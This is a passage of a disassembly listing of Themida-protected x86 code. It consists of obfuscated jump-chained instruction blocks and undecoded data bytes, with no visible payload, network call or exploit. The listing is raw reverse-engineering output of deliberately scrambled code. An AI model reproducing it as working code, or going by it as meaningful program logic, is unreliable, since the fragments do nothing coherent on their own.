; CODE XREF: Themida_:0055B729j sub eax, 5BA33434h jmp loc_567163 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0E924248Bh, 0FFFFDA95h ; --------------------------------------------------------------------------- loc_55DAD0: ; CODE XREF: Themida_:005541D6j neg ebp jmp loc_55820D ; --------------------------------------------------------------------------- db 68h dd 6A52h, 0FF4C8BE9h, 241C89FFh, 0EE64BDBBh, 5BDA014Eh dd 0E9242C8Bh, 0FFFF58F7h, 2C8BEF01h, 4C48324h, 4D6AF781h dd 0D6E92284h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DB07: ; CODE XREF: Themida_:00554FF7j add ecx, 5EB210E1h add ecx, edx sub ecx, 5EB210E1h jmp loc_554FFC ; --------------------------------------------------------------------------- dw 0B951h dd 4, 559C801h, 4, 2474FF50h, 2434FF04h, 0FFD369E9h, 5EF201FFh dd 8073E9h, 0FE885200h, 9AE9F488h, 0B5000063h, 0FED5F63Dh dd 0D2ED80C5h, 3059EA28h, 305AE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB5A: ; CODE XREF: Themida_:005591A0j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55B84D ; --------------------------------------------------------------------------- loc_55DB75: ; CODE XREF: Themida_:0055E963j push edx push esp push dword ptr [esp] pop edx jmp loc_56620A ; --------------------------------------------------------------------------- loc_55DB80: ; CODE XREF: Themida_:00561B2Fj push dword ptr [esp] pop eax push ebx jmp loc_5527EC ; --------------------------------------------------------------------------- dw 48Fh dd 0C4815C24h, 4, 0FFAB3EE9h, 0C6815FFFh, 2C5E4359h, 0EE81CE01h dd 2C5E4359h, 0FFBDC5E9h, 108D68FFh, 34890000h, 752D6824h dd 24890000h, 24048124h, 4, 0E2CAE95Eh, 0C281FFFFh, 4 dd 0FFF01DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DBD5: ; CODE XREF: Themida_:005606CBj shr edx, 1 cmp eax, edx jz loc_56073B push edx mov edx, 13D52B9Ch or edx, 7CAB00AEh neg edx jmp loc_562F30 ; --------------------------------------------------------------------------- loc_55DBF2: ; CODE XREF: Themida_:00560B96j shr edx, 8 and edx, 64AE0C98h add edx, 17AAE24Bh sub edi, edx pop edx sub eax, edi mov edi, [esp] add esp, 4 push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esi push ebx push edi mov edi, 4BA65631h mov ebx, edi pop edi shr ebx, 8 not ebx add ebx, 5BE61629h dec ebx sub esp, 4 mov [esp], edx jmp loc_56626C ; --------------------------------------------------------------------------- loc_55DC4F: ; CODE XREF: Themida_:0055307Bj push edi push esi mov esi, 747116C2h dec esi jmp loc_563EF3 ; --------------------------------------------------------------------------- dd 8324148Bh, 0BE5604C4h, 4, 348BF101h, 4C48124h, 0E9000000h dd 0FFFFDCB3h, 0E4659EB9h, 49C98133h, 0E9247573h, 4355h ; --------------------------------------------------------------------------- loc_55DC88: ; CODE XREF: Themida_:0055C2DCj not ecx jmp loc_55D0E5 ; --------------------------------------------------------------------------- db 21h dd 0CE8159CEh, 32B45294h, 0E902EEC1h, 0FFFFAF92h, 8004ECC0h dd 0ADE9B9ECh, 0BA000055h, 3AF275AFh, 0D2F7D2F7h, 0C2814A4Ah dd 0A50E1376h, 895AD101h, 0D18959CAh, 6824148Bh, 1F99h dd 89241489h, 4C281E2h, 83000000h, 148704C2h, 17E95C24h dd 58FFFF74h, 0FFA86DE9h, 48B5DFFh, 0E863E924h, 0F101FFFFh dd 547668h, 24148900h, 891E91BAh, 5AD1294Ah, 658C685Eh dd 2C890000h, 4BD24h, 0C1810000h, 0B3A60EFh, 0FF994EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DD1D: ; CODE XREF: Themida_:00553A9Dj and edi, 48A70C61h jmp loc_5571BD ; --------------------------------------------------------------------------- dd 2BFh, 5FFA0100h, 0FF79B7E9h, 0C8B66FFh, 0E9545524h dd 0FFFF61AFh, 5E08950h, 4, 0AA5E9h db 0 ; --------------------------------------------------------------------------- loc_55DD4D: ; CODE XREF: Themida_:005638DDj xor ebx, ebp jmp loc_554B60 ; --------------------------------------------------------------------------- loc_55DD54: ; CODE XREF: Themida_:0055F705j sub ebp, 83A3AEF3h mov ebx, ebp pop ebp push esi mov esi, 7F4676C0h neg esi dec esi jmp loc_555372 ; --------------------------------------------------------------------------- db 57h dd 42474FFh, 24048F5Fh, 0FFC1AFE9h, 40478FFFh, 0FF47F8E9h dd 2FF368FFh, 815F0503h, 0FCD00EC7h, 0FFF889FAh, 0E95F2434h dd 8854h ; --------------------------------------------------------------------------- loc_55DD98: ; CODE XREF: Themida_:0055AB41j push 3A26h mov [esp], edi push esp pop edi jmp loc_559537 ; --------------------------------------------------------------------------- loc_55DDA7: ; CODE XREF: Themida_:005676D1j add ebp, 4792FC68h sub ebx, 66CE1AD0h jmp loc_5672D0 ; --------------------------------------------------------------------------- aILSwm db 'κ,$ιWm',0 align 2 loc_55DDC2: ; CODE XREF: Themida_:0056587Dj add eax, 972BBCDDh sub ebx, eax jmp loc_56679B ; --------------------------------------------------------------------------- dw 0F581h dd 8E70B84h, 0FFC902E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DDD9: ; CODE XREF: Themida_:0055FE54j or ecx, ecx jmp loc_565CA6 ; --------------------------------------------------------------------------- dd 0E9240487h, 0FFFFE8B8h ; --------------------------------------------------------------------------- loc_55DDE8: ; CODE XREF: Themida_:0055312Ej pop esi shl edx, 7 push eax jmp loc_567BC8 ; --------------------------------------------------------------------------- loc_55DDF2: ; CODE XREF: Themida_:0055F34Bj add dword ptr [esp], 76A20619h pop ecx sub ecx, 76A20619h jmp loc_5593AF ; --------------------------------------------------------------------------- loc_55DE05: ; CODE XREF: Themida_:0055D5E4j sub edi, 4 jmp loc_55612F ; --------------------------------------------------------------------------- aIuhZ db 'γhΡz',0 dw 8900h dd 0F6B9240Ch, 53702C77h, 0CA5C8768h, 241C8B65h, 904C483h dd 0C12FE9D9h, 0E5C1FFFFh, 7733E905h, 248B0000h, 242C8924h dd 3BC2E9h, 242C8700h, 524248Bh, 7FC13423h, 232DF001h dd 8B7FC134h, 0F3E92434h, 81000058h, 4C4h, 6276800h, 0C890000h dd 7F966824h, 3C890000h, 530AE924h, 0E389FFFFh, 4C381h dd 0C3810000h, 4, 2194E9h, 7F84BE00h, 0F2297487h, 0FFD967E9h dd 4C481FFh, 52000000h, 0E9555A54h, 0FFFFB1BFh ; --------------------------------------------------------------------------- loc_55DEA8: ; CODE XREF: Themida_:0055F823j xor ebx, 0DF124604h add ebp, 3B174ECBh add ebp, ebx sub ebp, 3B174ECBh pop ebx push edi jmp loc_563CAA ; --------------------------------------------------------------------------- loc_55DEC3: ; CODE XREF: Themida_:00560CD8j mov eax, esp jmp loc_5632E4 ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 243C8900h, 0FFDE55E9h, 59CD29FFh, 51243C8Bh, 0FF9838E9h dd 0FFC601FFh, 7CE92434h, 88FFFFBDh, 3774E9CCh, 248B0000h dd 4EB8324h, 5C241C87h, 50241489h, 466FE99Ch, 0C483FFFFh dd 0D2E95004h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF13: ; CODE XREF: Themida_:00558C76j mov edi, 27E0110h sub edi, 2292273Eh dec edi jmp loc_55D3A9 ; --------------------------------------------------------------------------- dd 0BF243C89h, 384351DFh, 0FFB3DAE9h, 0BB535AFFh, 7CB94137h dd 293AE9h, 1EE38100h, 81157E5Fh, 0D90799EBh, 0E3814B36h dd 2D99703Ah, 5603E3C1h, 1E86E9h, 0EA814200h, 5FAF0DF8h dd 895AD389h, 44015BD8h, 0E9580424h, 0FFFFC55Bh, 348BF001h dd 66F8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF7A: ; CODE XREF: Themida_:005601B1j xchg ebx, [esp] pop esp mov [esp], eax mov eax, 2F266D03h shl eax, 7 push ecx mov ecx, 1AD26549h sub ecx, 93C268Bh add eax, ecx pop ecx jmp loc_55286F ; --------------------------------------------------------------------------- db 1, 0D6h, 5Ah dd 7427EE81h, 148B76F2h, 4C48124h, 33000000h, 34312434h dd 24343324h, 0FFD37FE9h, 2373BAFFh, 0EAC175BCh, 81DAF707h dd 654A9C2h, 6EAC156h, 2414F752h, 41F2815Ah, 31A061A3h dd 0EE095AD5h, 81DEF75Dh, 0BCE163F6h, 5CB3E9BAh, 74FF0000h dd 0A5E90424h, 52FFFFF2h, 0D24902BAh, 0B3886816h, 2DE97CD6h dd 0BAFFFFB9h, 48984C1Ah, 0C281DAF7h, 3F5C1F0Bh, 321C281h dd 0E9576C1Dh, 6540h ; --------------------------------------------------------------------------- loc_55E020: ; CODE XREF: Themida_:0055F26Ej add edi, 0B28D3004h add ebp, edi pop edi push ebx mov ebx, 7DF36065h jmp loc_55C7E9 ; --------------------------------------------------------------------------- dd 173E9ADh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E03A: ; CODE XREF: Themida_:0055EFF7j mov edi, [esp] push 5F48h jmp loc_55B5A0 ; --------------------------------------------------------------------------- db 81h dd 0BB042444h, 154E464h, 81042454h, 0BB04246Ch, 8B54E464h dd 0C4832414h, 24048104h, 41424E54h, 0DE240481h, 0E9526E04h dd 0FFFFF8B8h, 4C181h, 0C870000h, 2C8B5C24h, 0E2895224h dd 4C281h, 5FE90000h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E08F: ; CODE XREF: Themida_:0055A539j add esp, 4 jmp loc_55BDC7 ; --------------------------------------------------------------------------- db 5Ah dd 52A8F281h, 1DE95993h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E0A3: ; CODE XREF: Themida_:0055D151j push 28B6h mov [esp], ebx jmp loc_55C2D5 ; --------------------------------------------------------------------------- dd 0BEE9FB89h, 1000042h, 5D08246Ch, 0E92434FFh, 7F0Bh dd 6824048Bh, 1F81h, 54240C89h, 0FF2434FFh, 0C8B2434h dd 4C48324h, 0C740E952h, 0FE29FFFFh, 5B24E9h, 242C3300h dd 33242C31h, 895C242Ch, 0E9532404h, 8E5h ; --------------------------------------------------------------------------- loc_55E0FC: ; CODE XREF: Themida_:00555815j shr ebp, 3 push ecx mov ecx, 0FF3D3DDEh jmp loc_55FA51 ; --------------------------------------------------------------------------- loc_55E10A: ; CODE XREF: Themida_:0055E3D5j pop eax push edx mov edx, esp push 7A4h mov [esp], ebx mov ebx, 27DE339Bh jmp loc_5664FC ; --------------------------------------------------------------------------- loc_55E120: ; CODE XREF: Themida_:00556714j push esi push eax push 766E5820h pop eax add eax, 8991A7E4h mov esi, eax jmp loc_564C19 ; --------------------------------------------------------------------------- loc_55E134: ; CODE XREF: Themida_:0055B609j add ebp, 26A2175h sub esp, 4 jmp loc_5632A4 ; --------------------------------------------------------------------------- dw 0E789h dd 0FFE8D8E9h, 48F5BFFh, 24248B24h, 24048B66h, 33C68h dd 24048900h, 3B1268h, 24248900h, 4240481h, 8B000000h dd 0C4832404h, 0BA525604h, 36EB3D15h, 0E72C281h, 0F281714Ch dd 0A8374B83h, 55AD689h, 349F7BFAh, 0FF6EEFE9h, 240C31FFh dd 0FFA35EE9h, 5BD801FFh, 31240433h, 4332404h, 24248B24h dd 0FFCAD1E9h, 0E9D831FFh, 8CB9h, 47E9E901h, 80000068h dd 57E9E7EDh db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1C3: ; CODE XREF: Themida_:00566E2Fj sub edx, esi sub edx, 69C067C9h mov esi, [esp] push 32BEh jmp loc_553088 ; --------------------------------------------------------------------------- aSav db '[ι',0 align 2 loc_55E1DE: ; CODE XREF: Themida_:00562306j push dword ptr [esp] jmp loc_5612A0 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3810000h, 4, 2474FF53h, 48F5B04h, 0BE565C24h dd 2, 875EF529h, 665C242Ch, 66240C89h, 66C8B60Fh, 5EE99C51h dd 50FFFF43h, 0FFD403E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E221: ; CODE XREF: Themida_:0055E71Bj or ebx, 568D32CAh add ebx, 0FEF3DD43h xor edx, ebx pop ebx add eax, edx jmp loc_55BD94 ; --------------------------------------------------------------------------- db 56h dd 1377E9h, 6E8C100h, 0AA52540h, 0ADE90C1Fh, 89FFFF83h dd 0D8B9240Ch, 8149DA1Ah, 0FDF28FC1h, 27EB81FAh, 294A4435h dd 6FB7E9CBh, 0BA52FFFFh, 4, 0F9E9D501h, 35000069h, 6FF6968h dd 0FFAB2AE9h, 5AD188FFh, 24048B66h, 2C481h, 58E90000h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E28F: ; CODE XREF: Themida_:0055F5AFj mov edx, 5A2C49E8h add eax, edx jmp loc_565CB8 ; --------------------------------------------------------------------------- loc_55E29B: ; CODE XREF: Themida_:00553C82j pop ebp dec edx jmp loc_552E26 ; --------------------------------------------------------------------------- loc_55E2A2: ; CODE XREF: Themida_:00564B88j push 62D7h mov [esp], ecx push eax mov al, 25h mov cl, al pop eax xor cl, al xor al, cl jmp loc_55AF2A ; --------------------------------------------------------------------------- db 0B9h, 40h, 25h dd 0CE29DDD7h, 8B2434FFh, 0C483240Ch, 4C48104h, 53000000h dd 669AB850h, 0D8F72875h, 0FF7A2F2Dh, 2C8150D0h, 8539024h dd 0B0E95B7Dh, 58FFFF65h, 53595451h, 7424B951h, 0FF510AFCh dd 8159240Ch, 0FE286EF1h, 0AABF571Ch, 212B3723h, 71A4E9F9h dd 83580000h, 0EC8104C4h, 4, 89241C89h, 4C381E3h, 0E9000000h dd 0FFFF7F5Ch, 0C5FE63B5h, 0F580DDF6h, 65F580C8h, 0FFD0B9E9h dd 7E6C1FFh, 1A59E9h, 243C8900h, 4BFh, 247C0100h, 64E95F04h dd 2100001Bh, 242C8BEBh, 6804C483h, 69FAh, 55240489h, 404EC5BDh dd 35E9E937h, 34FF0000h, 98E95824h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E377: ; CODE XREF: Themida_:0056005Dj mov ebp, ecx jmp loc_555B6C ; --------------------------------------------------------------------------- loc_55E37E: ; CODE XREF: Themida_:00565495j mov ebp, 274B0393h shl ebp, 1 jmp loc_561DB1 ; --------------------------------------------------------------------------- dw 1C33h dd 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_552579 ; --------------------------------------------------------------------------- loc_55E3AB: ; CODE XREF: Themida_:005679F6j push ebx push edi mov edi, 1B124DACh mov ebx, edi pop edi dec ebx jmp loc_567859 ; --------------------------------------------------------------------------- loc_55E3BB: ; CODE XREF: Themida_:00564F68j push ebx mov ebx, 65D03F66h xor ecx, ebx mov ebx, [esp] add esp, 4 dec ecx jmp loc_55327C ; --------------------------------------------------------------------------- loc_55E3D2: ; CODE XREF: Themida_:005582CEj push dword ptr [esp] jmp loc_55E10A ; --------------------------------------------------------------------------- loc_55E3DA: ; CODE XREF: Themida_:00566F58j add esi, 4 jmp loc_559EB2 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0B9510000h, 4, 5828EA81h, 7BE96DAEh db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3FF: ; CODE XREF: Themida_:005570ABj push 3E79h mov [esp], ecx mov ecx, 4EFF0EB6h push 3A3Eh mov [esp], edx jmp loc_564C21 ; --------------------------------------------------------------------------- loc_55E419: ; CODE XREF: Themida_:00563F21j mov eax, esp add eax, 4 add eax, 4 jmp loc_561EFE ; --------------------------------------------------------------------------- dd 242C8B54h, 4C481h, 0C5810000h, 4, 4C581h, 2C870000h dd 24248B24h, 0FF4130E9h, 240C89FFh, 0B11FEB9h, 8E1C156h dd 240CFF51h, 45BB5359h, 436FBB34h, 3D0BE381h, 0EB816870h dd 513977F7h, 723668h, 0EB88E900h, 0C083FFFFh, 52396802h dd 4890000h, 2474FF24h, 2434FF04h, 41E4E9h, 59545100h dd 4C181h, 0C1810000h, 4, 5C240C87h, 4498C381h, 0FB014D2Bh dd 4EC81h, 0C890000h, 523DE924h, 42420000h, 0A02EA81h dd 0D2F70163h, 0FF7F88E9h, 48F5FFFh, 24248B24h, 24040966h dd 40A3E99Ch, 6866FFFFh, 89664881h, 6EB5240Ch, 5966EC30h dd 5151C480h, 0CE88E188h, 24048B59h, 5304C483h, 1C60E9h dd 59EE3000h, 0A4E9F42Ch db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E503: ; CODE XREF: Themida_:00558023j pop esp or edx, eax shl edx, 1 push eax jmp loc_566E45 ; --------------------------------------------------------------------------- dw 0C483h dd 4C48304h, 753568h, 240C8900h, 87F0E9h db 0 ; --------------------------------------------------------------------------- loc_55E521: ; CODE XREF: Themida_:0055A0BDj inc ebx shr ebx, 7 xor ebx, 13382786h push edi mov edi, 4DB4792Dh neg edi inc edi not edi sub edi, 1 jmp loc_55F763 ; --------------------------------------------------------------------------- dw 8B66h dd 0B7E9240Ch, 52000059h, 2BAh, 8BD52900h, 0AAE92414h dd 8BFFFF4Ch, 0C483241Ch, 246C3104h, 242C8B04h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 595C2414h, 637FBE56h, 90E957DCh db 65h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E583: ; CODE XREF: Themida_:00554D77j xor ebx, 1AEF0D64h jmp loc_563AE0 ; --------------------------------------------------------------------------- loc_55E58E: ; CODE XREF: Themida_:005646B2j sub esi, 4F155BF5h sub esi, edx add esi, 4F155BF5h push ecx mov ecx, 288C4540h sub esi, ecx pop ecx pop edx jmp loc_5660C9 ; --------------------------------------------------------------------------- db 0BFh dd 4, 34FFFD01h, 0C4835F24h, 4BB5304h, 1000000h, 241C8BDDh dd 4C481h, 0FF550000h, 0FF042474h, 0B3E92434h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E5D7: ; CODE XREF: Themida_:00557597j mov [esp], edx mov dl, 27h add bl, 42h jmp loc_553651 ; --------------------------------------------------------------------------- dd 69B4DFB3h, 0FFC483E9h, 4BAFFh, 0D1290000h, 240C875Ah dd 0FFAADAE9h, 4EF81FFh, 87000000h, 2BE9243Ch, 8000004Fh dd 0C32805EBh, 0FFBB59E9h, 0DAE981FFh, 8B4F4467h, 8952243Ch dd 4C281E2h, 0E9000000h, 2DDAh ; --------------------------------------------------------------------------- loc_55E62C: ; CODE XREF: Themida_:0055424Bj and ecx, eax pop eax shr ecx, 7 push ebx sub esp, 4 mov [esp], ecx mov ecx, 0B776393h push esi mov esi, 5CE4703Dh not esi not esi jmp loc_55CD3E ; --------------------------------------------------------------------------- loc_55E650: ; CODE XREF: Themida_:005547BFj xor eax, 0FE05DF6Dh jmp loc_56663D ; --------------------------------------------------------------------------- loc_55E65A: ; CODE XREF: Themida_:00553C41j push 3FBCh mov [esp], ecx mov cl, 2Dh push ecx mov cl, 9Fh sub cl, 6Bh jmp loc_559AAF ; --------------------------------------------------------------------------- loc_55E66F: ; CODE XREF: Themida_:0055602Ej mov [esp], esp jmp loc_55EFF0 ; --------------------------------------------------------------------------- aUtSjv db 'UT]ιJ',0 dw 0FF00h dd 669D1C77h, 1CD36659h, 0EAE99C24h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E68F: ; CODE XREF: Themida_:00561765j shr esi, 5 sub esp, 4 mov [esp], edx push ebx mov ebx, 3C8404E9h jmp loc_563F6C ; --------------------------------------------------------------------------- align 4 aSaq db 'ΓιAq',0 align 2 dw 2BBh dd 1000000h, 241C8BD9h, 4C481h, 0FF510000h, 8B042474h dd 8952240Ch, 4C281E2h, 51000000h, 4B9h, 59CA0100h, 8B241487h dd 48F2424h, 4FE5C24h, 92E99C24h, 0FFFFFF3Eh, 34FF2434h dd 0C4835B24h, 5D545504h, 73DEE9h db 0 ; --------------------------------------------------------------------------- loc_55E6F9: ; CODE XREF: Themida_:0056715Ej pop dword ptr [esp] jmp loc_55A741 ; --------------------------------------------------------------------------- loc_55E701: ; CODE XREF: Themida_:00552BC0j mov edx, [esp] add esp, 4 push eax mov eax, esp push edx mov edx, 7DF11C1Ch dec edx dec edx push ebx mov ebx, 6EF43C11h jmp loc_55E221 ; --------------------------------------------------------------------------- loc_55E720: ; CODE XREF: Themida_:00558C61j push 39D1h mov [esp], ebx mov ebx, 4A9D6DDDh xor ebx, 18112B54h add ebx, 0FFFFFFFFh or ebx, 29B16413h add ebx, 84429969h add ebp, ebx jmp loc_564351 ; --------------------------------------------------------------------------- a1Spj db '^1ΓιPJ',0 align 4 dd 209AC180h, 0CA8059CAh, 0E9E28659h, 3E1Dh, 582434FFh dd 0E904C483h, 0FFFFB455h ; --------------------------------------------------------------------------- loc_55E770: ; CODE XREF: Themida_:005620F7j pop edi inc edi xor edi, 6BD464E2h push ecx mov ecx, 4B8295Fh dec ecx jmp loc_554793 ; --------------------------------------------------------------------------- loc_55E784: ; CODE XREF: Themida_:0055D374j mov ebp, [esp] jmp loc_55ABD0 ; --------------------------------------------------------------------------- dd 0BB241C89h, 4, 5FE9DD01h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E79B: ; CODE XREF: Themida_:00555B3Dj push dword ptr [esp] pop eax push 5853h mov [esp], edx push 509Fh jmp loc_55A876 ; --------------------------------------------------------------------------- db 5Bh, 4Eh, 81h dd 0FFFFFFC6h, 51EED1FFh, 0FFFAF8E9h, 6AC381FFh, 0E968731Ah dd 862Dh ; --------------------------------------------------------------------------- loc_55E7CC: ; CODE XREF: Themida_:00554E28j add esi, edi mov edi, [esp] push ecx jmp loc_55FB21 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5525EA ; --------------------------------------------------------------------------- dd offset dword_4B5248+0E620h dw 8900h dd 98BE2434h, 0E9148644h, 0FFFFC65Ch, 23002DBAh, 48B5E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E80E: ; CODE XREF: Themida_:00563F67j xchg ecx, [esp] pop esp sub edx, 6FD85CA4h mov eax, edx mov edx, [esp] jmp loc_55EFD0 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 695Fh ; --------------------------------------------------------------------------- loc_55E830: ; CODE XREF: Themida_:005548FEj push edi jmp loc_55C0EB ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 0FF57B9E9h, 5AD501FFh, 8704C583h, 285C242Ch dd 0DC7EE9D8h, 0DDF7FFFFh, 0FFD057E9h, 2434FFFFh, 0FF5402E9h dd 3D13E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E866: ; CODE XREF: Themida_:005529D2j add esp, 4 jmp loc_55A42D ; --------------------------------------------------------------------------- loc_55E86E: ; CODE XREF: Themida_:00559901j pop eax shr edx, 5 xor edx, ebx xor ebx, edx xor edx, ebx inc ebx push edx push ebx pop edx pop ebx push ebx jmp loc_557528 ; --------------------------------------------------------------------------- loc_55E883: ; CODE XREF: Themida_:0056666Ej add esp, 4 sub eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_55C7CA ; --------------------------------------------------------------------------- db 1 dd 241C8BDAh, 3104C483h, 8E4AE9D6h, 0BD55FFFFh, 2, 515DE929h dd 42474FFh, 8B2434FFh, 0C483240Ch, 4C48104h, 8F000000h dd 248B2404h, 4896624h, 3CA7E924h, 248BFFFFh, 7B91E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E8DA: ; CODE XREF: Themida_:00563F88j pop edi mov ebx, eax mov eax, [esp] add esp, 4 jmp loc_564547 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 0C1BF6624h, 0C7816615h, 8166F0D9h, 664CD8CFh dd 0BB6653h, 0FB296600h, 66DF8766h, 2862E95Bh, 0C5810000h dd 9DFC671Fh, 1AE9E989h, 56000065h, 0F10F1BBEh, 27F68160h dd 0E954DA52h, 33CFh ; --------------------------------------------------------------------------- loc_55E930: ; CODE XREF: Themida_:0055F0D8j pop esi sub ebx, 62482511h jmp loc_554110 ; --------------------------------------------------------------------------- dd 8704C083h, 815C2404h, 2C2h, 4195E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E94E: ; CODE XREF: Themida_:0055A10Dj pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_559355 ; --------------------------------------------------------------------------- loc_55E95A: ; CODE XREF: Themida_:00562B0Ej xor ch, al pop eax add al, ch mov cx, [esp] jmp loc_55DB75 ; --------------------------------------------------------------------------- dd 33243C31h, 0E95C243Ch, 0FFFFA1A5h, 83241489h, 248904ECh dd 24048124h, 4, 8124148Bh, 4C4h, 35636800h, 0C4E90000h dd 0FFFFFFBFh, 589D1C77h, 9C240419h, 7B95E9h, 24248900h dd 4240483h, 4C6815Eh, 83000000h, 348704C6h, 0BF0F5C24h dd 3FB468C8h, 0C890000h, 4EC8124h, 89000000h, 4832424h dd 50E90424h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E9D7: ; CODE XREF: Themida_:005639EAj pop edx mov ch, al mov al, bl jmp loc_562639 ; --------------------------------------------------------------------------- db 0BBh, 0D6h, 64h dd 0F38116A8h, 16A864D4h, 34FFD889h, 34E95B24h, 5C000039h dd 0FFBB79E9h, 0E9F328FFh, 0FFFFC75Ch ; --------------------------------------------------------------------------- loc_55EA04: ; CODE XREF: Themida_:0056509Fj and edx, 69F6219Eh push edi mov edi, esp jmp loc_55AFBC ; --------------------------------------------------------------------------- dw 0CE81h dd 2CFF3910h, 88E9DEF7h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA1F: ; CODE XREF: Themida_:00559350j ; Themida_:0055A987j sub esp, 4 mov [esp], ebx push dword ptr [esp] jmp loc_55B19D ; --------------------------------------------------------------------------- db 53h, 0E9h, 2Ah dd 1FFFFA6h, 6C015BDDh, 2C8B0824h, 0A9A7E924h, 1C89FFFFh dd 7ED46824h, 4890000h, 8BBD5524h, 456EDD26h, 6D72CD81h dd 0DDF72E9Ch, 0BF57DDF7h, 14370940h, 0B6E9FD21h, 0B9FFFF8Eh dd 54517FDDh, 79F0E981h, 17E911E4h, 0F7FFFFE6h, 0F7D6F7D6h dd 74C681DEh, 0C14F3A78h, 0CE907EEh db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA8F: ; CODE XREF: Themida_:00558208j neg dword ptr [esp] pop ebp dec ebp sub ebp, 8AC5DDEEh jmp loc_5551BA ; --------------------------------------------------------------------------- db 0B7h dd 5BFD30B0h, 0F607EDC0h, 39E952DDh, 0AC000047h, 81E78957h dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 7AB5240Ch, 0E906EDC0h dd 59B3h, 8149D9F7h, 4ABDD3F1h, 94BB53AAh, 81240B38h, 0DEDEFCEBh dd 0E9DE01ACh, 1233h, 8904EC83h, 7BE9240Ch, 0B9FFFFC3h dd 4, 0E959CA01h, 0FFFFBC49h, 6D3EC781h, 0F7816129h, 342503A1h dd 0FFAF0DE9h, 3A8468FFh, 0C890000h, 0E8E95524h, 51FFFFDEh dd 0F2627EB9h, 59C82947h, 0BD55C829h, 7B915046h, 4502EDC1h dd 4BC8ED81h, 0ED810D14h, 0C9DDA5CCh, 0E95DE801h, 0FFFFEF5Fh dd 0D6B753h, 241C8BF8h, 4C481h, 0D0280000h, 5A66D62Ch dd 0E923B652h, 0FFFFADEDh ; --------------------------------------------------------------------------- loc_55EB68: ; CODE XREF: Themida_:00565DC6j mov ebx, [esp] add esp, 4 sub cl, 0D7h add al, cl pop ecx pop ecx xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_554C22 ; --------------------------------------------------------------------------- dw 0EB01h dd 241C875Dh, 57EB815Ch, 0E94FDC33h, 0FFFFA068h, 15E95153h dd 30000011h, 960459EFh, 0F6B3B753h, 8BC780D7h, 75E9CF86h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EBAF: ; CODE XREF: Themida_:0056266Cj add esp, 4 sub eax, edi pop edi sub esp, 4 jmp loc_5566DD ; --------------------------------------------------------------------------- dd 0FF1C5721h, 148B2434h, 4C48124h, 52000000h, 0B951E289h dd 4, 8359CA01h, 97E904C2h, 21FFFF6Ch, 0EF815EF7h, 0D071C4A6h dd 0FF644BE9h, 4C483FFh, 0E924048Fh, 88DBh, 88241C89h dd 0E9D888EBh, 0FFFF7B56h, 8DC18141h, 1F668D4h, 34FF59CDh dd 12E95A24h, 5CFFFFBDh, 8B243487h, 0D3E92424h, 0FFFFFF86h dd 5B042474h, 0FF7DF1E9h, 24E95CFFh, 81000000h, 0AC042444h dd 59442A44h, 83242C8Bh, 0FBE904C4h, 55000078h, 0FFA71DE9h dd 0C1D8F7FFh, 65E905E0h, 89FFFFB5h, 8355240Ch, 1C8904ECh dd 31E2E924h, 63680000h, 89000061h, 0AE9241Ch db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC77: ; CODE XREF: Themida_:00554543j sub edx, 4 jmp loc_560B1C ; --------------------------------------------------------------------------- db 89h dd 2BB241Ch, 0E9000000h, 259h, 2BBh, 0E3EF8100h, 812F9D00h dd 72490C7h, 81DF296Bh, 72490EFh, 3CA0686Bh, 34890000h dd 2C92BE24h, 0EE813994h, 32086607h, 0F6814E4Eh, 62821715h dd 7082CE81h, 0F6811765h, 58F0F17Dh, 8B5EF701h, 0E950241Ch dd 